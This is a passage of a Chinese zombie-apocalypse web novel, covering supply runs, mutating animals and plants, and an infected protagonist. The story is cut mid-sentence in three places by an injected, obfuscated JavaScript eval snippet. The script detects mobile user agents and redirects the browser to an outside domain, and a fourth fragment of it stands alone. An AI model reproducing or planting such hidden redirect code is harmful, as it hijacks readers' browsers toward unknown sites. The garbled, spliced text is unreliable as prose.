林梦之等在楼下,一看见乌珩便上前问:“今天去买什么?” 乌珩把自己手机递给林梦之。 “ok,出发!”林梦之草草看了几秒钟,把手机还给了乌珩。 两人坐上了林梦之那辆轻型摩托车,林梦之特地一大早跑出去加满了油,因为他们今天要去汉州另一个批发市场,这个批发市场在汉南区,也是汉州最早出现人咬人现象的一个区,更是公交车事件的事发地。 只是,汉南区物价普遍低于他们现在所居住的汉北区,现在的世界依旧井然有序地运行着,为了省钱,他们多少得冒点风险。 摩托车呜呜嗷嗷地驶进汉南区,停在批发市场门口已经是半个小时后。 天气不好,时辰又早,天空看起来要亮不亮,街道湿润昏暗,路灯已经悉数暗下。 这个时间段在路上行走奔波的人大都一脸的惨色与紧张。 乌珩下车,扫了眼林梦之,对方跟汉南区的居民比起来也不遑多让,嘴皮子都在抖。 “阿珩,你别看我,我是真他妈害怕啊。”林梦之跟在乌珩后边,“我们就睡了不到三个小时吧?那三个小时里我一直做噩梦,梦见的全是丧尸追着咬我,阿珩,末日真的要降临了吗?不会有人救我们吗?” “会,”乌珩这次给林梦之的回答倒不是很悲观,让林梦之亮了一下眼睛,但随后,乌珩又亲手击碎了对方的希望,“但获救的人不会是我们。” 说完之后,乌珩戴上口罩,也给了林梦之一个。 “闷得很。”林梦之甩头。 “现在还不清楚传播途径,你最好戴上。” 走进市场内部后,人流量比外面多了许多,其中三分之二的人都跟乌珩林梦之一样戴着口罩,有个别人甚至还戴着眼罩。 “都这样了,还是要出来挣钱,真是不容易。”林梦之心软叹息。 乌珩走进一家日用品店,给老板看了自己的清单,老板问:“要多少?” “各样加起来装满一辆4.2米的货车。” 老板倒抽了一口凉气,“自家用吗?” 林梦之瓮声瓮气说:“你别管,开个价,对了,货车我要你这边给我们配,运送费我们不包。” “……” 乌珩站在店门口,看着林梦之手舞足蹈跟老板说自己一个月挣三千块钱有多么不容易,他一毛多的都给不了,老板则绿着脸说你怎么不去打劫。 打劫?乌珩倒是想,可惜机会还没有出现。 - 日用品装车完毕,乌珩告知了司机发车时间后,转头在市场里物色下一批物资。 林梦之愁得很,“我感觉我家都快没地儿放了。” “放我家。”乌珩说。 “不是说你家不放东西吗?”林梦之诧异,乌珩可不是变脸如翻书的人。 “吃的不放。”乌珩言简意赅道。 “……那我明白了。”林梦之点点头,“等买完了我给乌世明打个电话,他死好面子,多半不会拒绝。” 乌珩点了下头,踏进一家店面最大的药店。 “还买药啊?”林梦之往店里探头探脑,他现在因为昨天晚上的事情有了心理阴影,生怕又来个突然变异的店老板。 “药跟食物一样,是必需品。”乌珩实现扫过货柜,“我们只需要买最常用到的药,不常用的暂时不管。” 林梦之掰着手指,“那就是消毒水消炎药感冒药止痛药这些。” “不用太多。” “明白。” 店老板坐在货柜里面,出入口都不面向顾客,面前被玻璃隔绝开,只在上面留了一个小窗口。 “要些什么?”她也戴着口罩,警惕地打量着两个男孩子。 “这些,每样来一箱。”林梦之弯腰把手机贴在玻璃上给老板看,“便宜点,我是学生。” 老板眼睛一撇,“半价。” “什么?”林梦之彻底趴在柜台上,“这么便宜?”他脑海里出现了便宜没好货五个字。 老板敲着电脑键盘,目不斜视,“把店里的货卖完我就准备关店回老家了。” 老板的想法再正常不过,虽然理解,但乌珩在看到货时还是依次检查了批次和生产日期,确定货没有问题后他才付钱。 付完钱后,林梦之小跑去市场找送货的货车,乌珩在附近几家店转悠,没走远。 一家花鸟鱼店人头攒动,乌珩路过朝里面多看了两眼,发现不是生意好,而是老板在跟两名顾客吵架,两方因此争得面红耳赤。 一名女人拎着一个粉红色的塑料鱼缸,里边趴着一只黑壳乌龟,不到拳头大小,薄薄的一片,缩着脑袋,受到惊吓的样子,但女人却全然不顾它的感受,拎着鱼缸手舞足蹈,唾沫横飞。 “你这到底什么龟?到家就咬死了我一缸的鱼,还咬断了我孩子的手指!你今天必须给我个说法!” “美女,你怎么睁眼说瞎话呢?我这是地地道道的颈侧沼泽龟!你那鱼就算是小鱼苗它也不会咬,怎么可能还咬断手指?不会不会,绝对不会!”老板虽然气顾客胡说,可也努力压着怒火解释。 “那你的意思是我自己把自己养的鱼都弄死了再把我孩子手指切断了,你是这个意思?” “我可没说!” “那行,既然你不相信,你就把手给我伸进去,你看它咬不咬!”女人揭开鱼缸的盖子,那小龟脑袋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14836405|159059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 缩得更加厉害。 老板看着对方这不依不饶的架势,实在没忍住冷笑了一声,他朝看客竖起食指,“我这龟我自己挑的我还能不知道它咬不咬人?大家可替我看好了。” 乌珩从侧面挤进人堆,站在了距离老板身后,他眯起眼睛,看着老板把手指放进了鱼缸里。 那只侧颈龟吓得直往后退,脑袋全部都缩进了龟壳里,单薄的身体看起来能被直接捏碎。 老板甚至还用手指戳了它几下,把它抓起来放到了手掌心给女人和其他人展示。 “看见了?我说了我这龟不可能咬人!”老板得意道。 女人的脸涨成了猪肝色,“但是昨天晚上真的咬死我所有的鱼,还咬断了我孩子的手指。” “那肯定跟我的龟没有关系啊。”老板把龟又放进了鱼缸,“大家都看见了,我这个龟根本就不会咬人。” 女人胸膛大幅度地起伏,身体剧烈颤抖。 周围看客也窃窃私语起来,猜测这女人是不是想借机坑钱。 老板叹了口气,不知道该如何是好,可也不想平白流一大笔钱出去,他重新捞起龟,放进了身后一个长条形鱼缸里,里面挨挨挤挤全是金鱼,侧颈龟一沉进水里,被水流冲击得身体偏了几下才稳住。 接着,老板放软表情,走到女人面前,试图讲讲道理。 乌珩却站在鱼缸旁边,他身姿纤弱,打扮低调,没有引起任何人的注意,目光始终看着那只侧颈龟。 砰!砰砰!砰砰砰! 鱼缸的玻璃突然被撞响。 乌珩朝后退了一步,弯腰看着面前的鱼缸,砰!又是一声,但这次乌珩看清了撞击鱼缸的生物是什么。 就是老板刚刚放进去的那只侧颈龟。 它体型很小,但游动速度很快,子弹一样射向鱼缸,游动的途中歪头便扯过一只金鱼撕咬得稀巴烂。 鱼缸底部已经遍布金鱼尸体,不断涌动的流水已经逐渐变粉,染上了血色。 砰! 哗啦! 鱼缸碎裂,水流喷出,里面的金鱼跟着一块倾倒而出。 乌珩提前闪身,避免了被溅一身的水。 老板听见动静,转过身,只看见了碎掉的鱼缸和一地疯狂弹动的金鱼,他脸色骤变,却看向乌珩,“你都做了什么?!” “……” 老板心痛欲碎,蹲到地上双手飞快捡鱼,完全没有注意到那个跟他发生争执的女人脸色已经变成了青色。 女人牙齿上下撞击,发出嘎吱、嘎吱的声音,她双手不控制地颤抖,骨节带着她的身体晃动,她眼睛变成了一对死鱼眼,喉咙里发出断断续续的低吼声。 当她抬起头来,嗅着身后男人脖子的时候,除了乌珩,所有人都还没反应过来。 乌珩手指慢慢去握刀。 唾液已经顺着女人的口角流了下来,流到了男人手背上,男人低头正疑惑,目光就撞上了女人已经变形发黑的脸。 女人在此时终于张嘴朝男人扑咬过去,在她牙齿刺破男人皮肤的前一秒,她被一道自身后而来的力拖走。 哐当一声,乌珩攥着她的头发把她摔在了收银台上,刀锋寒光只在众人眼前一闪,就没入了女人的头颅。 所有人都没反应过来,都怔怔地看着眼前这一幕,连呼吸声都同时变轻,恍若消失。 男人死里逃生,张大眼睛,久久未能回神。 待回过神,他跪地惨叫。 “老婆!老婆!把我老婆还给我!!!” 咚的一声。 乌珩把丧尸丢到男人面前,淡淡道:“还你。” 8. 第8章 林梦之赶来时,他的发小正被人抓着手声泪俱下地感谢。 “那你给我点钱吧。”他的发小伸手道。 男人的干嚎声止住,不情不愿从钱包里拿出了两百块钱给眼前的少年,逃也似的跑走了。 周围人已经散尽,连之前人来人往的路上都没有了人影,只有乌珩还有趴在地上一个劲疯狂捡金鱼的老板。 “怎么了这是?”林梦之一头雾水。 乌珩让开一步,给了林梦之一个惊喜。 林梦腿软了一下,“不愧是汉南区。” “走吧。”乌珩提步要走,但老板忽然起身,愤怒地叫住他。 “你打碎了我的鱼缸你不赔就想走?”老板气得脸上的肉都在抖,余光却一个劲地去撇地上躺着的丧尸,害怕得直咽口水。 乌珩露出不解的表情,“不是我,是你的乌龟把鱼缸撞碎了。” “你放屁,乌龟怎么可能撞碎我这鱼缸?!” 老板蹿跳起来,怒火中烧,觉得眼前这少年比那女人更加不可理喻,一个说他的乌龟咬人,一个说他的乌龟撞碎鱼缸,为什么所有人都要针对他的乌龟? “我没骗你。”乌珩显得老实巴交极了,跟刚刚手起刀落的阴郁少年相比判若两人。 老板还想说什么,林梦之看完全程,走上前来,“不都说了乌龟撞的,你想碰瓷?” “你要不信就调监控。”林梦之还真不信乌珩会撒这么扯的谎。 老板嘴唇翕动两次,表情也变得犹疑起来。 林梦之看着老板这模样也觉得挺惨,忍不住动了恻隐之心,他走过去,拍了拍老板肩膀,“你说你,养的这是什么龟,鱼缸都能给你干碎,但你也不能往我兄弟头上赖啊,我跟你说,我兄弟这个人,啧啧,整个汉州找不出比他老实的,你冤枉他啊,那是你丧尽天良……” 林梦之话多且碎,他揽着老板的肩膀,压根没有注意到老板的表情从一开始的不耐烦转为了呆滞,最后扭头直勾勾地看向了他。 乌珩倒看见了,但乌珩没有出声提醒,反而就地坐在了一把椅子上,扬目注视。 “其实我也觉得乌龟撞碎玻璃不太可能,可这话如果是我说的,那你可以不信,但这话是我兄弟说的,那你就不得不信啦。”林梦之拍着胸脯,满脸洋溢着骄傲和自信。 “他是汉北一中的你知道不?汉北一中那是什么含金量不用说你也知道。” “要我说呢,你就赶紧把你的这些鱼捡起来,不然待会儿鱼也没了。” “你干嘛这么看着我?” “草,你他妈怎么流口水?” 哐当! 林梦之被老板扑倒在地,他住了嘴,地上滑溜,他爬了好几次没爬起来。 老板猛地抱住他的腿。 林梦之惨叫着用另一只脚狂踹老板的脑袋,“阿珩救我,阿珩救我!” 乌珩摇摇头,把手里的刀丢到林梦之旁边,“你自己来。” 老板变异速度快得令人瞠目,他从一个刚刚还鲜活的生命,短短几分钟的时间,就变成了一具只会嘶吼扑咬的丧尸。 直面疯狂扑咬自己的丧尸,林梦之周身冰凉,他慌忙攥起地上的刀,一脚蹬开丧尸,在对方扑过来之前,他先扑了过去,一刀插进了丧尸的肩膀。 丧尸没有痛觉,林梦之连忙补了几刀,最后一刀才彻底让丧尸失去声息。 林梦之喘着粗气,浑身不知道是被水还是被汗水打湿,他坐在地上,呆若木鸡。 乌珩终于起了身,他走过去,按了按林梦之的肩膀,“做得很好。” 少年一根根掰开发小已经僵住的手指,从他手里拿走了刀。 乌珩在空荡荡的店里转了一圈,不知道想到了什么,他转身凝望着店中央的一只鱼缸,里面是让人眼花缭乱的灯鱼,密密匝匝的。 林梦之咽咽口水,不明白乌珩为什么能这么淡定,淡定就算了,为什么能眼睁睁地看着自己被丧尸扑咬?锻炼?还是考验? 他一直看着乌珩,以为乌珩是喜欢这些灯鱼。 却没想到,乌珩把沾满血迹的水果刀伸进了鱼缸里。 灯鱼受到刺激似的作鸟兽散。 刀锋上的血迹遇水开始滑落、飘散,融在水中。 可灯鱼的状态却并不像害怕和厌恶,它们的头都面朝着竖在水中的刀锋,一顿一顿地摆着尾巴,没有一条例外。 林梦之屏息看着这一幕。 下一秒,群鱼仿佛接收到了什么号令,全部往刀锋窜去。 虽然眼前只是一个鱼缸,可身处其外的人却被眼前这一幕震撼得无法言说。 它们接二连三撞响刀锋,发出声音微小但毛骨悚然的噼噼啪啪撞击声,飘在水中的血丝被群鱼吞噬殆尽,刀锋也很快被它们冲击得雪亮,鱼缸里水花四溅,这让他们看起来不像是小灯鱼,反而像一群没长成的食人鱼。 “阿珩,这是怎么回事?”林梦之爬起来,亲手斩杀丧尸的后劲还没褪尽,眼前却又出现了新的奇事。 乌珩把刀从鱼缸里拎了出来,他垂着眸,过了半天,才不确定地开口,“变异的可能不止人。” “什、什么意思?你是说,动物也有可能变异了?!” “我刚刚说乌龟撞碎了他的鱼缸……” “我信!” “……”乌珩无言半天,摇了摇头,“你信不信不重要,我是说,刚刚我说乌龟撞碎了他的鱼缸,你知道那只乌龟只有多大?比一只喜鹊还要小,但是它只撞了鱼缸四五次,鱼缸就裂了。” “在你过来之前,那个女丧尸还是女顾客,她说那只乌龟咬死了她鱼缸里的全部鱼,还咬断了她儿子的手指。” “现在,这些灯鱼闻着血腥味便倾巢出动,出现了前所未有的攻击性。” 乌珩说完后,收起了刀,“我只是根据已有的信息分析,具体的情况,还要再看。” 林梦之只知道愣愣地点头。 乌珩不指望林梦之能帮忙一块分析,不过,能有个人一起探讨最好。 看着还在水里跳得欢的灯鱼,乌珩不知怎的想到了谢崇宜。 对方那样敏锐的一个人,手里肯定有不少信息。 不知道能不能跟他做个交换。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14836406|159059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 有了打算之后,乌珩拿出手机,给还在蹦跳的灯鱼鱼群拍了几张照片,准备有时间找谢崇宜聊聊。 只是,乌珩眼底闪现了一瞬间的茫然和失落,他不知道自己还有没有时间。 “那我们现在走吗?”林梦之打了个寒噤,觉得周遭给他的感觉比之前阴森了许多,“阿珩?” “走的。”乌珩口中说着走,人却还在店里意犹未尽地转。 店内盆栽树葱茏,多肉肥厚,鲜花娇艳,挂在头顶的一只只鸟笼蹲着不少叽叽喳喳的雀儿。 少年目光挨着挨着巡望过去。 乍见生人,一些鸟振着翅膀叫得更欢,其中个别则嘶叫着用爪子撕扯铁笼,喉咙里的叫声粗粝。 乌珩举刀,本来已经雪亮的刀锋又逐渐染上了越来越多的血迹。 林梦之跟在他身后不远处,“阿珩,这是不是有点……” 乌珩沉吟片刻,说道:“梦之,这些鸟可能也是丧尸。” 带着血的羽毛时不时飘下来几片,翅膀扇动的声音和奋力嘶喊的嘶鸣不是恐惧,而是饥饿与嗜血。 少年侧脸苍白清冷,下颌有几点已经凝固的血迹,他出刀迅速,收刀更是利落,瞳孔没有丝毫的颤动,不是狠毒,是全然无动于衷。 被乌珩筛选出去的鸟没剩多少,走到店的最里面,有一面帘子,轻轻摆动,一道灰影摇来摇去。 乌珩掀开帘子,看向头顶的栏杆,一只灰羽毛的鸟居高临下地看着下方。 “老鹰?”乌珩看向林梦之。 林梦之走上前,仔细看了看,“灰鹦鹉,我看它毛都还没长齐,估计也就几个月大。老板可真刑,这玩意儿国内可不让养,难怪捂这么严实。” “傻逼!”灰鹦鹉张开嘴,朝林梦之吐出清晰的两个字。 “……”林梦之指着它,“你再骂!” 乌珩却把刀递给林梦之,朝灰鹦鹉伸出手,杏眸罕见地弯了起来,柔声问:“要跟我走吗?” 灰鹦鹉在栏杆上踱了几步,对乌珩的示好视而不见。 林梦之嘁了声,对乌珩说:“这种大块头的鹦鹉很难认主,一旦认主基本就不可能再认第二个主人,不知道它有没有认主,要是已经认了,你就算把它带走,也不容易养活。” “你为什么要带走一只鸟,你又不喜欢养宠物?”林梦之好奇道。 乌珩又从林梦之手中拿走了刀,刀在他手中转了一圈,“它变异了。” 林梦之立刻跳到乌珩旁边,紧紧靠着他。 “ 不是变成丧尸,是变异,”乌珩不知道该怎么跟林梦之解释自己的直觉,“眼神,它的眼神让我觉得我在跟一个聪明的小孩对视。” 林梦之还在做着阅读理解,乌珩已经缓缓抬起了手臂,他手中的刀尖指向转着脑袋的鹦鹉,薄唇轻启,“再问你一遍,跟不跟我走?” 灰鹦鹉继续傲慢地踱步。 但是,在乌珩走向它之前,它展开翅膀,降落在乌珩的肩头。 “Go!gogogo!”它说话不太熟练但却很有冲劲,像是刚刚的命悬一线根本没发生过。 9. 第9章 林奶奶再一次听见了凌乱的脚步声与工人卸货的碰响,她骂累了,黑着脸坐在沙发上。 如果她眼睛看得见,脸恐怕会黑得更厉害,因为偌大的客厅已然变得越来越拥挤,越来越拥挤。 林梦之在电话本里翻出木工的电话,让他们带着材料和工具,今天就来封阳台。 他打完电话回客厅时,看见乌珩已经倒在沙发上睡着了。 那只毛绒绒的鹦鹉站在乌珩脑袋边上的沙发扶手上面,它目不转睛地盯着林梦之,喊出了一声“水”。 “我可没说要养你。” 林梦之嘴上这么说,却还是扭头钻进厨房,给鹦鹉倒了碗水。 “我怎么看不出来你是变异鸟?”鹦鹉埋头啜水时,林梦之仔细地研究观察,没觉得它跟平时见到的鹦鹉有什么分别。 乌珩只熟睡了不到三个小时,他醒来时,窗外天光依旧蒙着一层朦胧不清的水雾。 阳台处,三个工人正在往墙上钉板子,客厅空无一人,林奶奶和林梦之都不在,只有早上带回来的那只鹦鹉正跟他一样缩在沙发里睡觉。 少年眼皮耷拉着,无神地看着茶几脚下几寸地砖。 砰!砰!砰!工人抡着铁锤一锤一锤将钉子打进墙里,但钉子钉进去的却仿佛不是墙,而是乌珩的心脏,每一记重锤,都会让心脏里的血液骤然泵出,肌肉绷紧后又回收。 汗珠顺着乌珩鬓角下落,乌珩拿过茶几上的茶壶给自己倒了杯水,他舌头还没品到水的滋味,整杯水就已经顺着喉咙生灌进了肚子里。 一茶壶水喝完后,乌珩喘着粗气,本就如墨黑的瞳孔扩散,他听着那些工人的低语声,紧跟着,闻到了鲜肉的气味,活的新鲜的,气味在工人的动作中逐渐放大到占据了乌珩的全世界。 乌珩甩甩脑袋,摇摇晃晃地站了起来。 鹦鹉被他突然起来弄醒了,抬起头,它一望见乌珩,便振着翅膀在客厅上方盘旋,嘎嘎叫。 鸟叫得太诡异太声嘶力竭,林梦之被吵醒,一脸烦躁地走出房间。 “我草!”看见乌珩的状态,林梦之睡意跑光。 林梦之左脚绊右脚回到房间,扯出一张床单,照着从乌珩头顶包下去,把对方拖到房间门口,奋力丢了进去,锁上门。 房间内静悄悄的,没有动静,林梦之耳朵贴在门板上,悄然松了口气。 砰! 门板被撞得一震。 林梦之咽了一口唾沫下去,往后退了一步。 乌珩被饥饿折磨得理智全无,五脏六腑都在嘶喊,他不知道撞了多少次门,不知疲惫,不知疼痛,直到耳边出现林梦之在门外的嚎啕大哭。 他那把刀算是白给对方了。乌珩心想。 鹦鹉放在林梦之家中,乌珩回家洗澡换衣服,林梦之红着眼睛送他到门口。 “再坚持坚持,到时候他们一定能研究出疫苗!” 乌珩累得说不出话,沿着楼道,拖沓着回到家中。 他不是悲观,他只是心知肚明,但凡降临在他头上的,只会是灾难,毫无希望的那种。 他洗了澡,换了衣服,手掌抹掉眼前镜子上的水雾,仅仅两天不到,少年本就血色浅淡的皮肤底下泛起一层霉青。 青色浮在皮下,抹不掉也揉不散。 回到房间,乌珩在床上躺下,他拿出手机给谢崇宜发微信,他没问对方在不在,而是直接把早上拍到的灯鱼视频给谢崇宜发了过去。 过了几分钟,谢崇宜便回复了。 “我不太喜欢这种鱼,略花哨。” “……”乌珩没把内心的无语表现出来,而是切进主题,“它们好像也变异了,由很强的攻击性,且嗜血。” “我以为你不会再找我了。”谢崇宜回复得莫名其妙。 乌珩表情极少的脸上,出现了货真价实的茫然。 但幸好,谢崇宜的东拉西扯很快由他自己结束,他发过来文字,“你怎么看出来的?” 乌珩:“我把沾了血的刀放进鱼缸,它们表现得很疯狂。” 谢崇宜:“所以你认为,畸变的不止人类,还有动物?” “我认为,畸变是变成丧尸,变异是进化,这是目前出现的两种异化情况。” 要打的字太多,乌珩索性发了语音,他手指按着语音键,不疾不徐地说:“畸变毋庸置疑有传染性,但变异是否有传染性我就不确定了,你有没有什么可以跟我交换的新信息?” 少年嗓音听起来跟他本人看起来给人的感觉截然相反,他嗓音没有青春期男生的沙哑感,听感冷清,不易接近。 谢崇宜把这段语音反复听了好几遍,才打字回复:“植物也有变异的可能。” “植物能怎么变异?”乌珩想不出来,植物就算变得聪明,那有什么用? 谢崇宜说:“变得更多,更大,变得具有攻击性?” 乌珩犹疑,“你见过吗?” 谢崇宜这次倒没有藏着掖着,直接给乌珩发送了几张照片,最后附赠文字解释。 “这是我家楼上养的三角梅,三天前,我发现有一枝三角梅的枝桠伸了下来,不过我当时没放在心上,但经过一天之后,楼上的三角梅就近乎挡住我家阳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14836407|159059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 台的三分之一,我没有告诉楼上业主,而是自己买了园艺剪,将长在我家阳台上的部分全部剪除,你收到的照片,就是我剪过以后又过了一天的样子,刚拍下来的。” 在汉州,乌珩从未见过如此葱茏茂盛的三角梅,他见过的三角梅大多只及膝盖高度,还普遍干瘦。 而照片中的三角梅,黑压压地坠落在谢崇宜家里的阳台上,紫红色花瓣娇艳得仿佛有了生命,仿佛虎视眈眈地正在窥伺着什么,天光则被它挡得严严实实。 乌珩没有怀疑,他问谢崇宜:“看样子,只是会变得更茂盛?” 谢崇宜这次却发了一段语音,但只有五秒钟。 乌珩点开语音条,前面都是嗡嗡的微弱电流声,到最后,才出现谢崇宜一声意味不明的轻笑,“等着。”对方慢悠悠说。 静静等待了两分钟之后,乌珩手机上收到了一段视频。 视频当中,光线明亮,手机的主人似乎在角落里翻找着什么东西,找到之后,镜头晃动,三角梅变得近在咫尺,只不过跟手机之间隔了一道推拉门。 “看好了。”谢崇宜的声音在视频里压得很低。 乌珩高度专注,看见一只骨节分明的手快速拉开了门,把手里的纸盒丢了出去。 纸盒刚落地,本来柔软优雅的低垂着的三角梅枝桠突然如箭矢般刺过去,只听见啪啪几声,纸盒便被刺得满是窟窿。 三角梅恢复成之前的状态后,视频播放结束。 乌珩又将视频播放了一遍。 如果不是亲眼所见,如果分享视频的人不是谢崇宜而是网上的网友,乌珩只会以为这是恶搞视频,而绝不会相信三角梅竟然能产生领地意识,还会向出现在领地内的其他生物发起攻击。 乌珩还处于愣神中,谢崇宜又道:“它还没有停止生长,按照它目前的生长速度,估计要不了半个月,我所住的这一栋楼都会被它占领。” 这的确令人头皮发麻,一株植物,居然拥有了自我意识,还想要将人类驱赶走。 乌珩反应很快,他问谢崇宜,“你打算去哪里?” “跟你有关系?”谢崇宜回复得很快。 “没关系,”乌珩说,“所以你打算去哪里?” 隔了良久,谢崇宜才回复:“我以为你会优先关心自己的后事。” “……” 乌珩他放下手机,不再回复谢崇宜,眼底哀愁之色漫开,青白的脸近乎破碎。 他昨晚出手就应该再快一点,把谢崇宜杀了,再吃得一干二净。乌珩心情阴郁地想道,谢崇宜这种人就应该是他的盘中餐。 10. 第10章 傍晚晚餐后,乌珩辅导完乌芷的算术,林梦之带着工人和物资欢天喜地地登门。 看见一车又一车的日用品堆积在自家的客厅里,乌世明脸上本来恰到好处的笑容越来越浅,最后完全消失,垮成一滩。 “叔啊,真是谢谢您,还是您对我好,您就跟我爸似的,但就是我爸死得早,说您是我爸不吉利,所以您就是我叔,我亲叔!”林梦之给乌世明戴高帽,还说,“反正东西暂时先放您这儿,您要用就随便拿,别见外。” 看着那成箱的沐浴露洗发水纸巾等乱七八糟的,乌世明的眼角抽了抽,谁会占这种小便宜。 还有,林梦之亲叔跟人打架斗殴意外杀人,现在还在吃牢饭,这就吉利了? 临走时,林梦之当着乌世明的面,将乌珩也拉走了。 林梦之家里已经没多少活动空间,能堆在一起的东西都堆在一起,能拆的东西也都拆了,一走进家门,就给人不见天日之感。 乌珩跟在林梦之身后。 鹦鹉本来还蹲在茶几上嗑瓜子,一看见乌珩,它便急匆匆走到茶几边缘,清晰干脆地喊:“阿珩,阿珩。” “哈哈!惊喜吧!”林梦之跳起来揽住少年的肩膀,“我带你来就是想让你看看这鹦鹉居然会叫人。” “你教它的?”乌珩也有些意外,他跟这鹦鹉相处的时间加起来还不到一个小时。 “要是教会的那就不是惊喜了,它自学的。”林梦之知道鹦鹉会说话不稀奇,可这鹦鹉怎么看也才几个月大,就是说话也还说不清楚,更别提自学。 乌珩弯下腰,端详着鹦鹉的眼睛,喃喃道:“估计真是进化。” 这……鹦鹉就不懂了,它小脑袋转了转,撇向一边,傲娇得很。 “你有名字吗?”乌珩问道。 “小花小花。”它说。 “没有名字?”乌珩凑近它,“那我给你起一个,X怎么样?” 鹦鹉脑袋滞住半晌,翅膀忽的张开振了几下,叫起来,“X!X!” 林梦之在一旁看得目瞪口呆,“它怎么还能无障碍跟你交流?” 乌珩直起身,“简单的短句应该对于它来说应该没问题,鹦鹉本身就聪明。” “这他妈不是变异,是成精了吧!”林梦之蹲在茶几跟前,伸出手,“我叫林梦之,以后你可以叫我梦之。” X探头狠狠啄了林梦之手指一口,林梦之痛得跳起来,“你别以为我不知道,你就是欺软怕硬!” X打着翅膀,在屋子里飞了两圈,最后落在一只快要接近天花板的货箱上,它昂着头,忽然叫了两声,说:“下雨了。” “本来就在下雨啊。”林梦之都能听见外面毛毛细雨刮打着玻璃的声音。 乌珩走到阳台边上,揭开一块特意没有钉死的木板看向窗外, 短暂的宁静后,一道冷蓝色的闪电从遥远的天际匍匐而来,像极了一条甩着尾巴奔袭过来的大蛇。 闪电在小区上空迸裂开,天际有一瞬间的恍若白昼,视野里的一切都如同蕉鹿之梦。 伴随着第二道闪电与闷雷声的出现,瓢泼大雨接踵而至,骤风如海啸般呼啸席卷。 雨季持续三年,并不是一场雨下了三年,一直是断断续续地下,还大多是绵绵细雨,像这种连景物都看不清楚的特大暴雨就算在雨季也是少见。 乌珩看着窗外,林梦之也挤了过来。 外面一片漆黑,路灯也罢工了。 “我心跳得好快。”林梦之口唇干燥,心脏突突跳得胸口痛。 乌珩没有回应他,视线一瞬不瞬地看着窗外,他让林梦之拿来手电筒,打开后照出去。 院子里,一个浑身湿透的男人扑在了围栏上,他双手抓着围栏摇晃,口中流着唾液嘶吼,颈部一个大洞,下颌白骨森森。 林梦之看不见,可看乌珩表情不太对,“怎么了?” 乌珩收起手电筒,揭下木板,扭头灼灼看着林梦之,眼底的兴奋让林梦之感到稍纵即逝的毛骨悚然。 “梦之,开始了。”乌珩扬起唇,嗓音悦耳,濒死的清、青白面容在这一刻竟然漂亮得惊人。 林梦之完全不懂乌珩脸上的兴奋从何而来,他只觉得,乌珩身上出现了一些他以前从未见过的东西。 林梦之发现自己不敢问,他也不想问,他也知道自己问不明白。 阿珩从小就这样,除非是他自己想要说了,否则谁也不问出来。 乌珩披了件雨衣,抓起一把菜刀就冲了出去。 站在围栏前,他距离那只丧尸仅一步之遥。 活人的气刺激得丧尸朝他的方向拼命嘶吼,乍然出现的闪电照亮丧尸已经大面积腐烂的头颅。 少年举刀从中间劈开了丧尸的脑袋,他脸上溅上几滴污血,又很快被雨水冲刷掉。 “阿珩!快进来!快点,好、好多,那边好多!”林梦之用手电照着远处,大雨中,好几个摇摇晃晃的人影中明显没有一个是活人。 它们本来是散开的,漫无目的,可乌珩制造出来的声音吸引了它们,它们开始往这边移动。 乌珩回到屋内,他拎着菜刀,浑身已经湿透,雨水滴滴答答顺着他的身上流到地板上,扩散开的黑瞳和青白的脸让他现在看起来形同鬼魅。 “阿珩……” “现在我们怎么办?” “报警。”乌珩放下菜刀,说道。 “啊?” 林梦之按照乌珩所说的报了警,距离他们小区最近的派出所驱车过来最短也要半个小时,大雨倾盆,需要的时间只可能会更长。 乌珩没去换下湿衣服,他倚着门框,将门拉开一条缝,看着朝他们走来的那几只丧尸走到一半又失去了目的地,继续四处嗅闻探找。 “阿珩,你不害怕吗?”林梦之蹲在他脚边,声音抖着问。 “反正我也活不长了。”想到之前谢崇宜让他准备后事,乌珩眼神凉意渐生,死之前如果能把谢崇宜带走就好了。 “别这么说。”林梦之双手合十拜天拜地。 乌珩没有接他这个话,而是说:“我们还缺武器和衣物,天气预报说周一气温回升,但还会不会下降,下降到什么程度,还不知道……” “家里过冬的衣服已经够了。”林梦之说。 “汉州历年冬天最低的温度也没有到零下,万一气温下降到零下几十,城市停水停电,你必须提前做好准备。” “我必须?” “你以为那些物资我是囤给我自己的?”乌珩垂眼看着对这个世界的危险还一无所知的林梦之,“到时候乌芷我就交给你了。” “草草草,我不要不要我不要,”林梦之把头甩成了拨浪鼓,“我不行我真不行。” 乌珩幽幽地注视着林梦之,待林梦之闭上嘴后,他的菜刀轻轻搁在了对方的肩膀上,“那这样,在我死之前,我先把你跟乌芷还有奶奶杀了,免得你们后面受罪。” 屋子里没开灯,林梦之本来还以为乌珩是在开玩笑,嘴角裂开到一半,却因为望见闪电电光里乌珩冷若冰霜的脸而立刻停止了嬉皮笑脸。 “我行我行,我能行。”林梦之很肯定地说道。 